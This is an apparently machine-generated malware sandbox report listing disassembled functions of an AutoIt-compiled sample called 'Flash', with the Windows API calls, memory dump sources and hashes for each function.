Function 00A2F688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A2F6A2
VariantClear.OLEAUT32(00000013), ref: 00A2F714
VariantClear.OLEAUT32(00000000), ref: 00A2F76F
_memmove.LIBCMT ref: 00A2F799
VariantClear.OLEAUT32(?), ref: 00A2F7E6
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00A2F814

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: bba786f315c4411174e61d4a93cbab63d1e9989af3a5daaa20f6a52ea4bb7db5
Instruction ID: 496e8c7543d14f97a7ec3239956537aa1c6c63c49ce5bd0f968693165356a250
Opcode Fuzzy Hash: bba786f315c4411174e61d4a93cbab63d1e9989af3a5daaa20f6a52ea4bb7db5
Instruction Fuzzy Hash: F45148B5A00219EFDB14CF58D884AAAB7B8FF4C314B15856AED59DB304D730E951CFA0

Function 00A329B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A329FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A32A4A
IsMenu.USER32(00000000), ref: 00A32A6A
CreatePopupMenu.USER32 ref: 00A32A9E
GetMenuItemCount.USER32(000000FF), ref: 00A32AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00A32B2D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: cb71adbf924936c997adf9484f58e5d519526ecf167e6f5a838acb4f6bbf6a81
Instruction ID: fc908b1fa60e61eed1e018c4ff7996defdc1c5ac002befba09212b9178c9e823
Opcode Fuzzy Hash: cb71adbf924936c997adf9484f58e5d519526ecf167e6f5a838acb4f6bbf6a81
Instruction Fuzzy Hash: 3C51BB70A0030AEBDF25CFA8D889BAEFBF4AF54314F10415AF8119B2A1E7B09945CB51

Function 009D1B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 009D1B76
GetWindowRect.USER32(?,?), ref: 009D1BDA
ScreenToClient.USER32(?,?), ref: 009D1BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 009D1C08
EndPaint.USER32(?,?), ref: 009D1C52

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 1306d5eaa04f7c763732e403f349b73d5368314b059e6855411ee27a1ca51324
Instruction ID: 840071c9601fcf59694bf6f59677bf0fab886611b538d0271ca47193362d0559
Opcode Fuzzy Hash: 1306d5eaa04f7c763732e403f349b73d5368314b059e6855411ee27a1ca51324
Instruction Fuzzy Hash: 8F41FF31258300AFD710DF64DC88FAA7BF8EB46360F10866AF995872B1C7709886DB61

Function 00A47788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00A4550C,?,?,00000000,00000001), ref: 00A47796

Part of subcall function 00A4406C: GetWindowRect.USER32(?,?), ref: 00A4407F

GetDesktopWindow.USER32 ref: 00A477C0
GetWindowRect.USER32(00000000), ref: 00A477C7
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00A477F9

Part of subcall function 00A357FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A35877

GetCursorPos.USER32(?), ref: 00A47825
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00A47883

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: a0c93489ae3476914bd3a5faaa3b1684a90f7f2d74906cf6268a3ecec339252c
Instruction ID: bbfb95bce7d20154a579da63cbb49359f8d5dc16b9edda4fb5a76feb6b599424
Opcode Fuzzy Hash: a0c93489ae3476914bd3a5faaa3b1684a90f7f2d74906cf6268a3ecec339252c
Instruction Fuzzy Hash: A831B072508345ABD720DF64D849F9FB7A9FFC8314F00091AF589A7191CBB0E949CBA2

Function 00A29431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A28CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00A28CDE
Part of subcall function 00A28CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00A28CE8
Part of subcall function 00A28CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00A28CF7
Part of subcall function 00A28CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00A28CFE
Part of subcall function 00A28CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00A28D14

GetLengthSid.ADVAPI32(?,00000000,00A2904D), ref: 00A29482
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00A2948E
HeapAlloc.KERNEL32(00000000), ref: 00A29495
CopySid.ADVAPI32(00000000,00000000,?), ref: 00A294AE
GetProcessHeap.KERNEL32(00000000,00000000,00A2904D), ref: 00A294C2
HeapFree.KERNEL32(00000000), ref: 00A294C9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: b4250fb9b7decc9896e5b1687392b95b34baa5b768a2e5d3ed85e8c021ac7501
Instruction ID: c9142126dd231f95a9eac1dc1de4d8217171395bdcf7b38f6721b9fbb85ed96f
Opcode Fuzzy Hash: b4250fb9b7decc9896e5b1687392b95b34baa5b768a2e5d3ed85e8c021ac7501
Instruction Fuzzy Hash: FE11B131901614FFDB11EFA8EC19FAF7BBAFB46715F108129E84597210C77A9942CB60

Function 00A291CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00A29200
OpenProcessToken.ADVAPI32(00000000), ref: 00A29207
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00A29216
CloseHandle.KERNEL32(00000004), ref: 00A29221
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00A29250
DestroyEnvironmentBlock.USERENV(00000000), ref: 00A29264

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: b6773edf277225b83e4fca5119c77827620e1d75cd196547f196c89d50fd8663
Instruction ID: 6c86318de726c7d4965d075dd021c70fc6443b4643e60da5ff516d5bc2fe6a6f
Opcode Fuzzy Hash: b6773edf277225b83e4fca5119c77827620e1d75cd196547f196c89d50fd8663
Instruction Fuzzy Hash: 0E114A7250120AEBDB02CFD8ED49FDB7BB9EF08704F044124FA04A2160C7B19DA1DB60

Function 00A2C329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00A2C34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 00A2C35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A2C366
ReleaseDC.USER32(00000000,00000000), ref: 00A2C36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00A2C385
MulDiv.KERNEL32(000009EC,?,?), ref: 00A2C397

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: dbe57df0daf62478025a2b3da712f14a4f61f9a56b954edc8781c2786e03effc
Instruction ID: 09daec35f0a42df467d3630f59132c895b72a9a27f7de002f9e050d0ef4c17ad
Opcode Fuzzy Hash: dbe57df0daf62478025a2b3da712f14a4f61f9a56b954edc8781c2786e03effc
Instruction Fuzzy Hash: A7014475E00219BFEF109BE59D49E5FBFB8EB48761F004065FA04AB290D6B09D11CFA0

Function 00A5C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 009D16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009D1729
Part of subcall function 009D16CF: SelectObject.GDI32(?,00000000), ref: 009D1738
Part of subcall function 009D16CF: BeginPath.GDI32(?), ref: 009D174F
Part of subcall function 009D16CF: SelectObject.GDI32(?,00000000), ref: 009D1778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00A5C57C
LineTo.GDI32(00000000,00000003,?), ref: 00A5C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00A5C59E
LineTo.GDI32(00000000,00000000,?), ref: 00A5C5AE
EndPath.GDI32(00000000), ref: 00A5C5BE
StrokePath.GDI32(00000000), ref: 00A5C5CE

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: e4fd6603d3e64448a183ffb9bd6c34772ad57e3a24a3917b4dec4e9ef42068a7
Instruction ID: ee67ce1e8ce8929904ed67fb52680059063201941c1b3f4f6c3b8267f882ee79
Opcode Fuzzy Hash: e4fd6603d3e64448a183ffb9bd6c34772ad57e3a24a3917b4dec4e9ef42068a7
Instruction Fuzzy Hash: 75110C7204010CBFDF029F90DC48F9A7F6DEB04354F058011F9195A160D7B1AE95DBA0

Function 009F07BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 009F07EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 009F07F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 009F07FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 009F080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 009F0812
MapVirtualKeyW.USER32(00000012,00000000), ref: 009F081A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 3d6f3edf5f7929d757b51e134dddf1a73cb500045117055d42bbea4294695f95
Instruction ID: 26126f10bbdb9b35cd8974d330fe6a5d3b291bcdc5e2e4c3a69cc3b51718ba0f
Opcode Fuzzy Hash: 3d6f3edf5f7929d757b51e134dddf1a73cb500045117055d42bbea4294695f95
Instruction Fuzzy Hash: D70148B09017597DE3008F5A8C85A53FEA8FF59354F00411BA15847941C7F5A864CBE5

Function 00A359A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00A359B4
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00A359CA
GetWindowThreadProcessId.USER32(?,?), ref: 00A359D9
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A359E8
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A359F2
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A359F9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: f584ac1716c6b9ed6f8981fd897f0229c90ff03eaa9f7a7532a1c607a51b7daa
Instruction ID: 9403aeadfd6c0c9d0b3658d30106fb9d4375fcd87ba1904bbbfb697f81d937fa
Opcode Fuzzy Hash: f584ac1716c6b9ed6f8981fd897f0229c90ff03eaa9f7a7532a1c607a51b7daa
Instruction Fuzzy Hash: 97F01D36641158BBE7219BD2DC0DEEF7A7CEBC6B12F000159FA0591050D7E01A5286B5

Function 00A377EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00A377FE
EnterCriticalSection.KERNEL32(?,?,009DC2B6,?,?), ref: 00A3780F
TerminateThread.KERNEL32(00000000,000001F6,?,009DC2B6,?,?), ref: 00A3781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,009DC2B6,?,?), ref: 00A37829

Part of subcall function 00A371F0: CloseHandle.KERNEL32(00000000,?,00A37836,?,009DC2B6,?,?), ref: 00A371FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 00A3783C
LeaveCriticalSection.KERNEL32(?,?,009DC2B6,?,?), ref: 00A37843

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: c8b0e58782cba321b4429eeca5c5cd44bf79d141cc03e860319a1cf8004c6c02
Instruction ID: e52b5ae1b00c4c1c626097fd8855fee0e0093c1833e590e55c3f163d6b3e5c66
Opcode Fuzzy Hash: c8b0e58782cba321b4429eeca5c5cd44bf79d141cc03e860319a1cf8004c6c02
Instruction Fuzzy Hash: 94F05E72155212ABD7226BB4EC8DEEF7739FF45702F140921F202950A0CBF55882CB60

Function 00A2954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A29555
UnloadUserProfile.USERENV(?,?), ref: 00A29561
CloseHandle.KERNEL32(?), ref: 00A2956A
CloseHandle.KERNEL32(?), ref: 00A29572
GetProcessHeap.KERNEL32(00000000,?), ref: 00A2957B
HeapFree.KERNEL32(00000000), ref: 00A29582

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 5c1cf566641bcfa9b97b34f9d94fcd32068f5ebcd676717138c4b0e1d48ba7ec
Instruction ID: 8845ccf5f5c298c60607402a63da4caaab5da936d942cf15eb0d9bb08aabdc39
Opcode Fuzzy Hash: 5c1cf566641bcfa9b97b34f9d94fcd32068f5ebcd676717138c4b0e1d48ba7ec
Instruction Fuzzy Hash: 89E0C236004501BBDA029BE1EC0CD5ABF39FB4A722B104620F31585170CBB2A4A2DB50

Function 00A48CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A48CFD
CharUpperBuffW.USER32(?,?), ref: 00A48E0C
VariantClear.OLEAUT32(?), ref: 00A48F84

Part of subcall function 00A37B1D: VariantInit.OLEAUT32(00000000), ref: 00A37B5D
Part of subcall function 00A37B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00A37B66
Part of subcall function 00A37B1D: VariantClear.OLEAUT32(00000000), ref: 00A37B72

Strings

Incorrect Parameter format, xrefs: 00A48D35, 00A48EF7
AUTOIT.ERROR, xrefs: 00A48E12

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 2ac1a2393edebce6c6d3da2feb7900b4ea2995e75a46c5d2719cd725d01b01a1
Instruction ID: f42f3620ff8bb9d9f0c15beed209499feea8c34d1a126263368be329cc90fa6b
Opcode Fuzzy Hash: 2ac1a2393edebce6c6d3da2feb7900b4ea2995e75a46c5d2719cd725d01b01a1
Instruction Fuzzy Hash: 649189746083019FC710DF24D48195EBBF5AFC9354F14896EF89A8B3A2DB30E949CB52

Function 00A3323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E436A: _wcscpy.LIBCMT ref: 009E438D

_memset.LIBCMT ref: 00A3332E
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A3335D
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A33410
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00A3343E

Strings

0, xrefs: 00A3331A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 51b5d08daf42695b17749aedd049e0a7989b59b6bab5527a7dc5fd1292f76861
Instruction ID: c9aec8fe050a92ef49b960bb83069b498968f9952868f69cc906664c552eaec1
Opcode Fuzzy Hash: 51b5d08daf42695b17749aedd049e0a7989b59b6bab5527a7dc5fd1292f76861
Instruction Fuzzy Hash: 0951AF3260C301ABDB16DF68C845A6FB7E8AF95721F044A2EF895D71A1DB70CE44CB52

Function 00A32EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A32F67
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00A32F83
DeleteMenu.USER32(?,00000007,00000000), ref: 00A32FC9
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00A97890,00000000), ref: 00A33012

Strings

0, xrefs: 00A32F5C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: f8497e36c9e1f3e8501434d04257ba30ac56a2eb46e4a2c11bef838a6f2f2393
Instruction ID: 64d4bf13d61d440b3e9f4700a286e24f1a521b4da4632b5de282ac4d581572d7
Opcode Fuzzy Hash: f8497e36c9e1f3e8501434d04257ba30ac56a2eb46e4a2c11bef838a6f2f2393
Instruction Fuzzy Hash: 6341E632208341AFDB24DF24C885F5ABBE4EF85320F14461EF5A6972D1DB70EA05CB52

Function 00A29A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 00A2B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00A2B7BD

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00A29ACC
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00A29ADF
SendMessageW.USER32(?,00000189,?,00000000), ref: 00A29B0F

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

Strings

ComboBox, xrefs: 00A29A56
ListBox, xrefs: 00A29A8B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
